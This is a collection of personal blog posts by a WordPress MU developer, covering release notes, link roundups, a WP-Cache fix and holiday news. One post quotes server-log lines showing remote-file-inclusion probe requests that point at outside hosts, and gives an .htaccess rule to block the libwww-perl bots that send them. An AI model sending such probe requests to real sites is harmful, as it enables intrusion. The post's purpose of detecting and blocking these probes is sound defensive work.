WordPress MU 1.3

Finally, after what seems like an age, the download page has been updated with the new WordPress MU 1.3 release.

WordPress MU is a multi-blog version of WordPress which runs on millions of blogs all over the world. The major blogging site, WordPress.com uses it as do many others.

This is a sync of WordPress 2.3.1 which includes native tagging support as well as many bug and security fixes.
WordPress MU specific features include:

  • Better admin controls for the signup page. It can be disabled in various ways.
  • Upload space functions have been fixed.
  • The signup form is now hidden from search engines which will help avoid certain types of spamming.
  • Profile page now allows you to select your primary blog.
  • Database tables are now UTF-8 from the start.
  • If you’re using virtual hosts, the main blog doesn’t live at /blog/ any more.
  • The WordPress importer now assigns posts to other users on a blog.
  • A taxonomy sync script is included in mu-plugins but commented out. It hasn’t been tested much but if your site has many hundreds of blogs it might be worth spending some time on a test server. Replicate normal traffic patterns and see if the server can cope with the upgrade process. If not, then look at the sync script, uncomment it and iterate over all your blogs with a script.

Developers – get_blog_option() will never return the string “falsevalue” again. That bug has been squished and it now returns the boolean value false.

This forum thread on the new release is worth watching. Any problems will surface their first.

Thanks to:
Everyone on the MU forums for your help in tracking down bugs.
ktlee and momo360modena for all your patches. They’re very welcome and a huge help.

Extensive documentation is being built up on the WordPress MU Codex by many people, including Martin Cleaver who bugged me about moving the docs from Trac and about telling everyone that documentation help is always needed.

Donncha's Tuesday Links

There’s nothing like the laughter of your baby to perk up one’s morning after a bank holiday weekend!

What time is it WordPress?

Daylight Saving Time (DST) kicked in this morning in Ireland, the UK and many other parts of the world when the clocks went back 1 hour. The US is next week from what I remember. If your server is using UTC time, check Options->General, the “Times in the weblog should differ by” textbox in your blog and adjust accordingly!

wordpress-time.png

Here’s a discussion on the WordPress.com forums about the issue from last year and I found this extend idea that has already been implemented in the Time Zone plugin, but it only works on UNIX-like systems and if you’re not using PHP’s safe mode.

PHP5 has the date_default_timezone_set function, but not enough hosts are using PHP5 to make that a universal choice. It would be nice if all this was done automatically, but hopefully with the further adoption of PHP5 that will happen eventually.

And don’t forget to check your other gadgets, especially digital cameras. I doubt many of them know anything about timezones!

Donncha's Saturday Links

A mixed bag, from germs and bugs to splogs and chocolate tasters.

  • Grannymar reminds us germs lurk everywhere. I’m always careful in public toilets, but it never occurred to me how bug-ridden ATMs are!
  • wp-hashcash works pretty well as an anti-comment spam tool. Make sure you have curl installed before installing it. Now, will someone adapt it for use on WordPress MU’s signup form, or maybe even the Write Post form? Might put a dent in the sploggers efforts to ruin our sites.
  • I forgot to mention yesterday, Donal lives here. Well done on the move bro! Great party last night!
  • Amid concerns that WiFi signals cause cancer, threaten the environment or cause nuclear meltdowns, this tshirt should come in useful.
  • An oldie, If architects had to work like programmers… via Barry.
  • The perfect job, taste testing dark chocolate. Conor says it’s to assess it’s value for money! Oh the poor guy.
  • Yahoo comes to Ireland but can they ever beat Google again? Does anyone care?
  • Not Drupal, WordPress MU – using WordPress MU instead of Drupal in a school environment and authenticating against Active Directory. He’s got a few niggling problems still, but it’s looking good. Anyone have other WordPress MU success stories to share?
  • Mark takes me back with this blog post about Wizball including the great soundtrack!

Donncha's Friday Links

Links are back, for now

  • Stumble Crumble displays your Stumbled links in your sidebar.
  • GRAMPS – open source geneology software for Linux and Windows and can be compiled on Mac OS X, FreeBSD and Solaris too. Via an Irish blogger, can’t remember who, comment and I’ll update the post! Via James Galvin, thanks for commenting!
  • Thanks Photub for linking to the GIMP lomo plugin I released a few days ago.
  • Remember LOLcats? Now there’s LOLCode.net. Will someone write a PHP interpreter/compiler? Thanks Alex!
  • Holy Shmoly! is now Gravatar enabled, although I haven’t signed up myself yet. Must see to that this morning. Enabling it on WordPress is really easy. Yes of course, Automattic own Gravatar now.
  • The blogroll update (homepage) plugin opened my eyes. I didn’t know how the “last updated” field in WordPress links was updated, but there’s a file called update-links.php which can be called from Cron to interrogate Pingomatic. Unfortunately api.pingomatic.com is down and Weblogs.com seems crap so I’m going to patch the blogroll update plugin to use Simple Pie to grab my blogroll’s feeds once a day.
  • Why do I have all my best ideas when away from the computer? I need a waterproof pad for the shower…

Update – Ryan says WordPress 2.3.1 will be out soon. Expect the new WordPress MU shortly after. There are enough security and bug fixes in .1 to make waiting worthwhile.
Update 2 – api.pingomatic.com is back up and running thanks to Barry. Must get that plugin working over the weekend and finish adding sites to my blogroll.
Update3 – api.pingomatic.com still seems to be causing problems. It returns “XML-RPC server accepts POST requests only.” when update-links.php queries it, even though the query is a POST request. WordPress 2.3.1 went live a few hours ago! Time to upgrade, there are important bug fixes in there!

Life after Text Link Ads

Hi, my name is Donncha and I used to have text-link-ads on my blog. They’re gone now but only after Google slapped me into submission and reduced my page rank to 4. Initially I felt angry and shocked that this happened but I have no excuse, I heard it from the horses mouth, I knew it was coming. I was one of those evil unscrupulous demons who manipulated the pagerank of other sites for money. My guilty conscience is somewhat alleviated by the fact that I refused to show a text link ad for a Viagra spammer yesterday morning. Oh well.
Google’s own advertising, Adsense, is still running here, as is Kontera, (leave a comment and you’ll never see them, isn’t that nice?) and the competitive ad filter advice I gave out a few days ago really makes a difference to your bottom line. Just ask Justin!

What’s in store for the future? Keep an eye on this blog. WordPress MU 1.3 is coming real soon now. There are going to be lots more free and GPLed WordPress plugins, including a pretty cool digg proof cache that also works in WordPress MU. Think of it as WP-Cache on afterburner! A couple of sites are already testing it with positive results. I’m watching the access_log roll by on a server as a digg is happening now. Load average is hovering around 1 and the page loads quickly. Sweet.

Howto: WP-Cache and protected posts

If you use protected posts on your WordPress blog you may have noticed that WP-Cache doesn’t cache those password protected posts properly. I didn’t know this, but James Farmer did so I went looking and found a fix.

In the plugins/wp-cache/ directory, open wp-cache-phase1.php in your favourite text editor and look for the following line:

if (preg_match(“/^wordpress|^comment_author_email_/”, $key)) {

Replace that line with this one:

if (preg_match(“/^wp-postpass|^wordpress|^comment_author_email_/”, $key)) {

Save and upload the file if necessary and clear your cache. Password protect posts should be cached properly now!

Ironically, this post wasn’t being cached by WP-Cache because the url contains the string “wp-“. Here’s how to fix that bug. Open wp-cache-phase2.php and look for the following line:

if (strlen($expr) > 0 && strstr($uri, $expr))

Change it to read:

if (strlen($expr) > 0 && substr( $uri, 1, strlen($expr) ) == $expr )

Phew. This post is now cached.

Keep the libwww-perl bots out

If you look through your server logs you’ll probably notice more than a few requests like these:

GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805”
GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805”
GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805”
GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579”

If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this file should already be there if you’re using fancy permalinks.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} libwww-perl.*
RewriteRule .* – [F,L]

Change “RewriteBase /” to suit your own base directory.

There are other bad guys out there. This page has a long list of rewrite rules to keep out all sorts of bots! I haven’t looked through them myself so YMMV if you try them.

This has the added benefit of reducing load on your server. WordPress sites are dynamically generated. This is great under normal circumstances but when you get a flood of requests it can place an unnecessary load on your site. WP-Cache helps a lot but these rules will stop them dead at the front door!

PS. ‘Course, if you depend on a libwww-perl application then don’t add this rule or you may give yourself a headache trying to figure out why things stopped working!

Back from Dingle

Oh wow! We really have a beautiful country here in Ireland! We are just back from a week in the town of Dingle, Co. Kerry (or An Daingean as it’s officially known, why can’t they have both English and Irish names on the signs? It’s silly. Locals stencilled “Dingle” on many of the signs anyway!) and it was both amazing and refreshing. 7 days without Internet access. Could you survive? I admit I was tempted by the local net cafe but I resisted and we wandered the roads and explored the beaches of that rugged coastline instead.

Weather is always a concern in Ireland and it rained and it poured and gales blew for the first 2 days of our stay. Thankfully that completely changed for most of the remainder of the week and the blue skies were filled with white fluffy clouds casting shadows on the distant mountains. Breathtaking.

Bringing a 23 week old baby away on holiday does present it’s own difficulties but Adam enjoyed himself and made a huge impression on everyone he met. He was generally well behaved while out, and I have to thank the kind staff of the Old Smokehouse Restaurant for their patience as we made 2 trips there with him. On the other hand, the grumpy floor manager of the “Happy Garden Palace” up the street didn’t live up to his establishment’s name. Nice Kung Po though.

Photos will appear in time but tomorrow we’re going to head down to Kinsale for a look at Haydn’s Kinsale Gallery where some of my work is on display. Adam’s been down there already and now it remains to be seen whether any of the pieces attracts a buyer or not. Thanks Damien for mentioning the gallery too!

In other news, WordPress 2.3 came out and I need to upgrade my blogs. WordPress MU will need to be synced with the new release but it will also need a separate upgrader. Upgrading one blog and adding 3 tables is simple, but when you need to do tens of thousands (or millions) of them, you don’t want all of them doing it at the same time or your database server will melt.

Oh, and not one person mentioned the All Ireland. 🙂

Update on Sunday: Jacinta and I visited the gallery today and we’re impressed! Haydn’s son was taking care of the shop and I noticed a number of the larger prints had sold a couple of copies. Two of my images are visible behind the door if you look carefully at the second image: Innovative Streets and Rusted and Abandoned.

Gallery ICA

Gallery ICA

Gallery ICA